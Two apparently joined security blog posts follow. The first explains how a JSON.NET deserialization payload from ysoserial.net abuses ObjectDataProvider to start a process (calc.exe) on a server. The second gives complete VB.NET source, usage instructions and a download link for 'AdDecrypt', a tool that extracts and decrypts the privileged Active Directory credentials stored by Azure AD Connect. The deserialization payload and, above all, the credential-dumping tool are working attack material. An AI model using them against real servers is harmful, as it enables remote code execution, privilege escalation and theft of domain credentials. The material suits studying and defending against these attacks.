.NET Deserialization Exploits Explained

Tools like ysoserial.net will generate a .NET deserialization payload for you to send to a remote server and give you remote code execution… but how and why does this actually work?

In this example we will look at a JSON.NET exploit specifically, but the same concepts should apply to the majority of deserialization exploits like this.

What Exactly Is Deserialization?

The first thing to note about this whole process is that essentially serialization is just a fancy word for converting objects in a program’s memory into another format that is easier to share or send over the network. These “serialized” formats are usually quite easy for humans to read, especially when compared to the raw binary format they are stored as in memory. XML and JSON are common examples of these easy to read serialization formats.

Deserialization is, as the name suggests, the opposite process. Converting back from XML/JSON/etc into a .NET object in memory that the program can work with.

For example in a program we might have a class named Person that is used to represent customers. It could look like this in .NET code:

Public Class Person

      Public Property Id As Integer
      Public Property FirstName As String
      Public Property Surname As String

End Class

Now when an instance of this class gets “serialized” into JSON format, it is just sent as plain text that looks like this:

{
 "Id":37,
 "FirstName":"Steve",
 "Surname":"Thompson"
}

How Do We Exploit This?

Let’s assume our target is running a .NET program/website that has some way of receiving data in this JSON format over the network (perhaps through a HTTP header on a website). When the data reaches the server, it will be converted (deserialized) back from the JSON text into an instance of the Person class that the .NET code can use.

If the process responsible for this conversion has not been properly configured, we are able to specify which .NET class this should be converted back into instead of it being converted back into the Person class. Of course the server will error out because it did not receive the type of data it expected, but it won’t matter at that point because with the correct payload our malicious code will have already been executed. So how can we generate such a payload and why does it work?

Ysoserial.Net Payloads Explained

First of all, let’s take a look at the actual payload ysoserial.net generates for a JSON.NET deserialization exploit if we tell it we want to launch calc.exe:

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd.exe','/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

This is perfectly valid JSON data as it is in the correct format and is just specifying values for properties, so the server will try to parse it construct a .NET object from it.

The server is of course expecting this data to be a JSON version of the Person class, but because of bad configuration (specifically this property not being set to None) we are able to specify our own class that it should be converted into. So that is what the first line in the payload is doing – just setting the type/class of this object. We are telling the server not to create a Person type object from this data, but instead it should create an ObjectDataProvider type object. Everything in the first line after $type is just specifying the full path and unique identifier of this ObjectDataProvider class that we want to get created.

The rest of the payload is telling the server that this ObjectDataProvider has an instance of the Process class within it and that it should call the Start function on it, passing in the arguments “cmd.exe” and “/c calc.exe” so that it launches that as the new process.

This is indeed how you would normally launch a new process from .NET code, but you would just use Process.Start("cmd.exe", "/c calc.exe") directly instead of using this other class. You can read more about the ObjectDataProvider class in the MS documentation here but I’ll explain why it is useful for us.

Why Use ObjectDataProvider?

So why not just directly use the Process class on its own since that’s what actually launches a new process for us? Well the problem with that is there’s nothing that will make the server actually call the Start function on the Process class. Remember the server is just expecting to receive data here, not code execution instructions. As such, all we can set are properties. We can’t call functions.

That’s where this weird and wonderful class known as ObjectDataProvider comes in. It is meant to be used for data binding in WPF applications, but don’t worry if that means nothing to you. All you need to know about it is that it has the ability to call any function we specify as soon as certain properties on it are set. So this gets around our problem of not being able to call functions with our JSON data, as we can set properties on this ObjectDataProvider class and it will indirectly call functions for us.

Coming back to our example – when the server is deserializing our data it will create an instance of the class we specified and it will start setting the properties on it as per the JSON data we supplied. If you refer back to the ysoserial.net payload above, you’ll see that we are telling the server to create an ObjectDataProvider, and set the MethodName, MethodParameters, and ObjectInstance properties on it. The actual .NET code and values it will be using as it deserializes our JSON payload would look something like this:

        Dim odp As New System.Windows.Data.ObjectDataProvider
        odp.MethodName = "Start"
        odp.MethodParameters.Add("cmd.exe")
        odp.MethodParameters.Add("/c calc.exe")
        odp.ObjectInstance = New System.Diagnostics.Process

Bizarrely, that is all that is needed to actually cause the Process.Start function to be called. If you just run that code above in your own .NET project, you’ll see cmd.exe and calc.exe launch even though you’re never actually calling any functions! Just setting the ObjectInstance property makes it refresh itself and instantly call the function name specified in the MethodName property. So as soon as that happens as part of the deserialization process, our new process gets started and we have our remote code execution 🙂

TL;DR

This post got pretty long, so here a quick summary of how the exploit works:

  1. The way JSON.NET is configured on the web server allows the incoming JSON data to specify what .NET type it should be converted to.
  2. We send some JSON data that tells the server it should be converted into the ObjectDataProvider class (by setting the $type property in the first line of our data).
  3. The server creates an instance of ObjectDataProvider and then populates it with the rest of the JSON data we provided.
  4. The data provided in our payload states that this ObjectDataProvider instance has a System.Diagnostics.Process in its “ObjectInstance” property, as well as the “Start” function in its “MethodName” property.
  5. Because of the way ObjectDataProvider is meant to be used in WPF applications for data binding, as soon as the ObjectInstance property is set it will execute whatever function it was told to execute by the MethodName property. Our remote code execution is complete!
  6. The server will error out at this point because it was expecting the deserialized data to be in the format of the Person class with an Id, FirstName, Surname property, but what it actually got was totally different. This doesn’t matter at this point though, because our code has already been executed.

Further reading:

https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html

https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

EDIT: I’ve now made a video covering this same topic so check that out if you still have any confusion about how exactly this all works:

Azure AD Connect Database Exploit (Priv Esc)

The Azure AD Connect service is essentially responsible for synchronizing things between your local AD domain, and the Azure based domain. However, to do this it needs privileged credentials for your local domain so that it can perform various operations such as syncing passwords etc. I recently discovered this great video that explains where it stores these credentials and how to decrypt them.

TL;DR: Its possible to just run some simple .NET or Powershell code on the server where Azure AD Connect is installed and instantly get plain text credentials for whatever AD account it is set to use!

Initially I thought I would have to repeat all of the steps they performed in the video (decompiling and watching API calls etc) to produce my own code that exploits this… but it turns out the presenter (Fox-It) was kind enough to provide this Github repo demonstrating exactly how to perform such an attack in C#.

There’s also this blog post by XPN InfoSec that provides more info as well as a working Powershell alternative.

Anyway, I thought I’d also have a go at writing my own version and compile it so its super easy to use and also gives you the option to choose between attacking an SQLExpress “LocalDb” database or a full fat SQL Server instance. Fox-It mentioned he had a download link for his compiled program in the Github readme, but I couldn’t get it to download (he also mentioned the way credentials are stored has changed recently so his code might not work now). I knew the Powershell script worked fine after changing the SQL connection string when I tested it myself, so I used that as my base and wrote a similar utility in VB.NET.

There’s a download link for my compiled program at the bottom of this page but here’s the code for anyone interested:

Imports Microsoft.DirectoryServices.MetadirectoryServices.Cryptography
Imports System.Data.SqlClient
Imports System.Xml
Module MainModule

    Sub Main()
        Try
            Console.WriteLine(Environment.NewLine & "======================" & Environment.NewLine &
                              "AZURE AD SYNC CREDENTIAL DECRYPTION TOOL" & Environment.NewLine &
                              "Based on original code from: https://github.com/fox-it/adconnectdump" & Environment.NewLine &
                              "======================" & Environment.NewLine)

            Dim SqlConnectionString As String = "Data Source=(LocalDB)\\.\\ADSync;Initial Catalog=ADSync;Connect Timeout=20"

            If My.Application.CommandLineArgs.Count > 0 AndAlso String.Compare(My.Application.CommandLineArgs(0), "-FullSql", True) = 0 Then
                SqlConnectionString = "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
            End If

            Dim KeyId As UInteger
            Dim InstanceId As Guid
            Dim Entropy As Guid
            Dim ConfigXml As String
            Dim EncryptedPasswordXml As String

            Using SqlConn As New SqlConnection(SqlConnectionString)
                Try
                    Console.WriteLine("Opening database connection...")
                    SqlConn.Open()
                    Using SqlCmd As New SqlCommand("SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;", SqlConn)
                        Console.WriteLine("Executing SQL commands...")
                        Using Reader As SqlDataReader = SqlCmd.ExecuteReader
                            Reader.Read()
                            InstanceId = DirectCast(Reader("instance_id"), Guid)
                            KeyId = CUInt(Reader("keyset_id"))
                            Entropy = DirectCast(Reader("entropy"), Guid)
                        End Using
                    End Using
                    Using SqlCmd As New SqlCommand("SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'", SqlConn)
                        Using Reader As SqlDataReader = SqlCmd.ExecuteReader
                            Reader.Read()
                            ConfigXml = CStr(Reader("private_configuration_xml"))
                            EncryptedPasswordXml = CStr(Reader("encrypted_configuration"))
                        End Using
                    End Using
                Catch Ex As Exception
                    Console.WriteLine("Error reading from database: " & Ex.Message)
                    Exit Sub
                Finally
                    Console.WriteLine("Closing database connection...")
                    SqlConn.Close()
                End Try
                Try
                    Console.WriteLine("Decrypting XML...")
                    Dim CryptoManager As New KeyManager
                    CryptoManager.LoadKeySet(Entropy, InstanceId, KeyId)
                    Dim Decryptor As Key = Nothing
                    CryptoManager.GetActiveCredentialKey(Decryptor)
                    Dim PlainTextPasswordXml As String = Nothing
                    Decryptor.DecryptBase64ToString(EncryptedPasswordXml, PlainTextPasswordXml)
                    Console.WriteLine("Parsing XML...")
                    Dim Domain As String = String.Empty
                    Dim Username As String = String.Empty
                    Dim Password As String = String.Empty
                    Dim XmlDoc As New XmlDocument
                    XmlDoc.LoadXml(PlainTextPasswordXml)
                    Dim XmlNav As XPath.XPathNavigator = XmlDoc.CreateNavigator
                    Password = XmlNav.SelectSingleNode("//attribute").Value
                    XmlDoc.LoadXml(ConfigXml)
                    XmlNav = XmlDoc.CreateNavigator
                    Domain = XmlNav.SelectSingleNode("//parameter[@name='forest-login-domain']").Value
                    Username = XmlNav.SelectSingleNode("//parameter[@name='forest-login-user']").Value
                    Console.WriteLine("Finished!" &
                                      Environment.NewLine & Environment.NewLine &
                                      "DECRYPTED CREDENTIALS:" & Environment.NewLine &
                                      "Username: " & Username & Environment.NewLine &
                                      "Password: " & Password & Environment.NewLine &
                                      "Domain: " & Domain & Environment.NewLine)
                Catch ex As Exception
                    Console.WriteLine("Error decrypting: " & ex.Message)
                End Try
            End Using
        Catch ex As Exception
            Console.WriteLine("Unexpected error: " & ex.Message)
        End Try
    End Sub

End Module

and when we run it on a machine that has the Azure AD Connect database on it, we get the AD account’s credentials in plain text (obviously I’ve blurred out the actual password, but you get the idea):

Usage:

AdDecrypt.exe (with no parameters)

Will attempt to access the ADSync database on the default SQLExpress “LocalDb” instance

AdDecrypt.exe -FullSQL

Will attempt to access the ADSync database on a full fat MS SQL instance using windows authentication (the actual connection string used is: “Server=LocalHost;Database=ADSync;Trusted_Connection=True;” )

This program must be run while the AD Sync Bin folder is your “working directory”, or has been added to the PATH variable. An easy way to do this is simply navigate to the folder in Powershell or Command Prompt (i.e cd “C:\Program Files\Microsoft Azure AD Sync\Bin”), and then run the program by typing the full path to wherever you have stored it. You also need to make sure the mcrypt.dll from the download link is in the same directory the program is in. Failure to do either of these things will result in a Module Not Found error.

Download link: https://github.com/VbScrub/AdSyncDecrypt/releases

Hope that helps someone 🙂 and again a big shout out to the guys at Fox-IT that figured all of this out originally, and the guys at XPN InfoSec who put together the Powershell script and some further explanation.